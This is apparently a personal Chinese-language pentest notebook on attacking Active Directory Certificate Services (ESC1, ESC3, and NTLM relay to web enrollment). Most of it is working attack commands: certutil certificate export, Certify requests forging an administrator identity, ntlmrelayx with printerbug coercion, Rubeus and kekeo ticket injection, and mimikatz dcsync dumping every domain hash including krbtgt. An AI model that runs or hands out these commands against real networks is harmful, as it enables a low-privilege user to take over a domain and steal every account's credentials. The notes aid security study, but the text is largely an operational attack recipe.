参考链接:https://xz.aliyun.com/t/10064
工具链接
https://github.com/GhostPack/Certify
证书服务发布的部分证书可用于kerberos认证,并且可以再返回的PAC中获取NTMLhash。
能进行认证的证书
1、客户端认证
2、PKINIT 客户端身份验证
3、智能卡登录
4、任何目的
5、子CA其中ECS1和ECS8是比较常用的。中间的就记录一下。
certmgr.msc 图形化界面
certutil -user -store My //查看个人证书
certutil -user -store My f95e6b5dbafac54963c450052848745a54ec7bd9 c:\Users\test1\Desktop]test1.cer //导出证书
certutil -user -exportPFX f95e6b5dbafac54963c450052848745a54ec7bd9 c:\Users\test1\Desktop]test1.pfx //导出证书包含公私钥
1.查看用户的证书 certutil -user -store My
2.导出用户证书,包含公私钥
3.本地添加证书,配代理访问
(kekeo校验的时候看到会对域控请求,所以需要配dns代理一起,这里为了方便就直接内网机做了)
tgt::pac /subject:证书用户 /castore:current_user /domain:域控
总结一下,原因是证书中包含了用户的ntml信息,所以我们可以导出这些ntml信息(中间涉及一些证书不可导出的参考参考链接mimikatz导出)
允许低权限用户使用任意SAN请求证书,从而允许低权限用户通过kerberos或schannel作为域中任何主体进行身份验证,白话文就是实现伪造身份
允许这些设置的已发布证书模板,攻击者可以作为环境中的任何人请求证书,使用该证书为用户获取TGT
最终实现低权限用户拥有域控权限
Certify.exe request /ca:yukongfu.e0mlja.com\e0mlja-YUKONGFU-CA-1 /template:LDAPS /altname:administrator//导出证书
openssl pkcs12 -in 1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
生成证书
注入证书
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.203.2 /ptt
和ECS1类似,主要是他的条件更为宽松导致的
我们可以使用带有任何目的的EKU功能证书,进行客户端、服务端的身份验证,也可以使用无EKUs的证书来进行任何目的,或签署新的证书
因此使用从属CA(比跟CA低一级的CA)证书,攻击者能够指定新证书中的任意EKUs或字段
利用和ECS1一样,就不继续写命令了
证书请求代理EKU允许委托人代表其他用户申请证书,对于任何注册此模板的用户,生成的证书可用于代表任何用户共同签署部署请求。代表其他用户来申请证书,和伪造类似
根据参考文章来看,工具没有跑出来,所以利用一下命令看
yukongfu.e0mlja.com\e0mlja-YUKONGFU-CA-1
查看
Application Policies : 证书申请代理
pkiextendedkeyusage : 客户端身份验证, 证书申请代理是否具有
这里命令大同小异,记录一下就行,2019复现出错了。
Certify.exe request /ca:"dc.test.com\test-DC-CA" /template:ESC3
Certify.exe request /ca:"dc.test.com\test-DC-CA" /template:ESC3_1 /onbehalfof:TEST\administrator /enrollcert:3.pfx
openssl pkcs12 -in 1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Rubeus.exe asktgt /user:TEST\administrator /certificate:4.pfx
https://www.cnblogs.com/sakura521/p/15489865.html
主要还是配置错误导致写权限可以写造成的。
证书中继 ADCS Relay
攻击流程
1.通过ntlm_relay,我们获得一个以机器A用户认证的证书
2.我们通过Rubeus asktgt功能用这个证书向AD发起kerberos认证
3.我们获取到TGT并请求目标机器的TGS,获取权限
参考:https://www.cnblogs.com/marksec/p/15600759.html
环境配置也见参考链接
(1)
certutil -config - -ping 获取证书服务器的ip
certutil -ca
(2)判断是否支持NTML方式
curl http://192.168.203.3/certsrv/ -I
(3)中继利用
python3 ntlmrelayx.py -t http://192.168.237.22/certsrv/certfnsh.asp -smb2support --adcs 开启中继监听
python printerbug.py domain/user:[email protected] 192.168.237.131
打印机
一:keko导出(注意参考链接给的代码是有问题的)
kekeo:
base64 /input:on
tgt::ask /pfx:xxx /user:DC01$ /domain: /ptt
user需要为我们获取证书的那个机器用户
看一下我全部的截图+命令
privilege::debug
kerberos::purge
//清楚票据 方便对比
base64 /input:on
tgt::ask /pfx:xxx /user:DC01$ /domain: /ptt 能够看到这里注入了一张kirtgt的票据,就可以
做金银票了。dumphash
Rubeus.exe asktgt /user:DC$ /certificate:MIIRFQIBAzCCEN8G /ppt
dumphash
lsadump::dcsync /all /csv /domain:e0mlja.com
lsadump::dcsync /user:krbtgt /csv